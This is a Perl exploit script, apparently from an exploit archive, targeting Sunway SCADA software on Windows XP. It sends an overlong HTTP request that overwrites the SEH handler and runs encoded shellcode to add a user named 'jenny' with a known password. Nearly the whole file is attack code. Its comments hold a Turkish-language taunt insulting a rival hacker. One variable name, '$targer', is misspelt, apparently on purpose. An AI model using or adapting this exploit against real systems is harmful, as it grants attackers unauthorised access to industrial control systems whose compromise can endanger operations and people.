#!/usr/bin/perl
#Sunway SCADA Add User Exploit for fun ;)
#Tested on XP SP1
#  _          _ _         _    _     _     _       
# | |__   ___| | | ___   | | ___) __| | __| |_   _ 
# | '_ \ / _ \ | |/ _ \  | |/ / |/ _` |/ _` | | | |
# | | | |  __/ | | (_) | |   <| | (_| | (_| | |_| |
# |_| |_|\___|_|_|\___/  |_|\_\_|\__,_|\__,_|\__, |
#                                            |___/      

#Bir turlu olamayanin avuntusu; "underground'im ben" demek
#Demek benim ustumden yiyecegini sandin bele$ ekmek? 
#Lan kendi yolunu bulman icin benden kurtulman gerek!				
#En buyuk hatan benden cevap beklemek.
#Laf yemek istiyosun hem de benden!
#Demek elimden yemek yemek istiyosun ac bebek?
# 
#
#Selam karde$,
#
#Mesele exploit yazmak degil, biraz adam olabilmekte.Bu ulkede senin gibi console-kiddy zaten yeterince var!
#Tavrini gordukce cocuk olduguna emin olduk. 
#Cocuklugunun yaninda gecmisinde pek parlak degilmis o da ayri bir konu,
#Sevgili eski teror orgutu destekcisi , kizil heykir! Bu karakter ve gecmisinle lutfen bize yaklasma.
#Herkes kendi isini yapsin!
#
#P.S. exploit'deki bulmacayi, bize gonderdigin her lafta tekrar tekrar cozersin ;)
#
#31337 presented...  contact: n00bfuker@gmx.de

use IO::Socket;
use strict;

my $target = $ARGV[0];

my $otuzuc = "W" x 1127;

my $otuz = "\xeb\x06\x90\x90"; # jmp
my $seksen = "\x98\x15\xD7\x5A"; # ret

# windows/adduser - 446 bytes Encoder: x86/alpha_mixed
# USER=jenny, EXITFUNC=seh, PASS=pass
my $yetmisxxxx = "\x89\xe6\xdb\xc8\xd9\x76\xf4\x5f\x57\x59\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a".
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32".
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49".
"\x4b\x4c\x4b\x58\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x50".
"\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x42\x58\x43\x31\x4a\x4f".
"\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a".
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31".
"\x49\x50\x4c\x59\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45\x57\x49".
"\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47\x4b".
"\x51\x44\x51\x34\x45\x54\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x46".
"\x44\x45\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b".
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45".
"\x51\x4a\x4b\x4b\x39\x51\x4c\x47\x54\x45\x54\x49\x53\x51\x4f".
"\x50\x31\x4a\x56\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46\x50".
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d".
"\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4c\x43\x49\x50\x42".
"\x4a\x50\x50\x45\x38\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x43\x58".
"\x4a\x38\x4b\x4e\x4c\x4a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42".
"\x43\x42\x4d\x43\x54\x46\x4e\x43\x55\x43\x48\x43\x55\x51\x30".
"\x46\x4f\x42\x43\x51\x30\x42\x4e\x42\x45\x44\x34\x47\x50\x44".
"\x35\x42\x53\x45\x35\x43\x42\x51\x30\x43\x5a\x43\x55\x42\x4e".
"\x42\x4e\x43\x49\x47\x50\x42\x50\x43\x51\x43\x43\x43\x43\x51".
"\x30\x46\x4f\x51\x51\x51\x54\x51\x54\x51\x30\x51\x36\x47\x56".
"\x47\x50\x42\x4e\x45\x35\x44\x34\x47\x50\x42\x4c\x42\x4f\x43".
"\x53\x43\x51\x42\x4c\x43\x57\x42\x52\x42\x4f\x42\x55\x44\x30".
"\x51\x30\x51\x51\x45\x34\x42\x4d\x42\x49\x42\x4e\x45\x39\x44".
"\x33\x44\x34\x43\x42\x43\x51\x44\x34\x42\x4f\x42\x52\x43\x43".
"\x47\x50\x43\x5a\x45\x35\x42\x4e\x42\x4e\x43\x49\x51\x30\x46".
"\x4f\x47\x31\x51\x54\x47\x34\x43\x30\x41\x41";

my $sentamamlakardes = "\x90" x 800; #junk


my $payload = $otuzuc.$otuz.$seksen.$yetmisxxxx.$sentamamlakardes;

#Bir basit kelama kurban gider krallar...


  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "$targer:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /$payload HTTP/1.0\n\n";

  close($SOCKET);
  my($SOCKET2) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "$target:80");
  if (! defined $SOCKET2) { die $!; }
  print $SOCKET2 "GET / HTTP/1.0\n\n";